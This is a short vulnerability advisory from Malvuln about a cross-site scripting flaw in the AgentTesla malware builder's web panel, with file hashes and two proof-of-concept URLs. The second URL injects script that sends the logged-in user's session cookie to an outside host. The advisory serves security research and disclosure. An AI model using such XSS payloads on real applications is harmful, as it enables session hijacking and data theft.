Tuesday, January 18, 2022

AgentTesla Builder Web Panel Cross Site Scripting

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7eff7.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: AgentTesla Builder Web Panel
Vulnerability: Cross Site Scripting (XSS)
Description: AgentTeslaBuilder WebUI uses "ionCube" to encode and protect its PHP code. AgentTesla panel users who visit a third-party attacker website or click an infected link, can trigger arbitrary client side JS code execution in the security context of the currently logged on user. This can result in PHPSESSID token, data theft or GEO location disclosure of the user accessing the AgentTesla panel.
Type: WebUI
MD5: db9629508fda139f71f625d764c7eff7 (Agent Tesla.exe)
MD5: 978509c2a3d051b43e53bba1436b7076 (login.php)
Vuln ID: MVID-2022-0454
Disclosure: 01/16/2022

Exploit/PoC:
1) http://AGENT-TESLA-IP/AgentTeslaBuilder/?page=get-log&id=&title=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

2) http://AGENT-TESLA-IP/AgentTeslaBuilder/?page=get-log&id=&title="/%3E%3Cscript%3Cwindow.open("https://www.malvuln.com/stealtokens="%2bdocument.cookie)%3C/script%3E

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore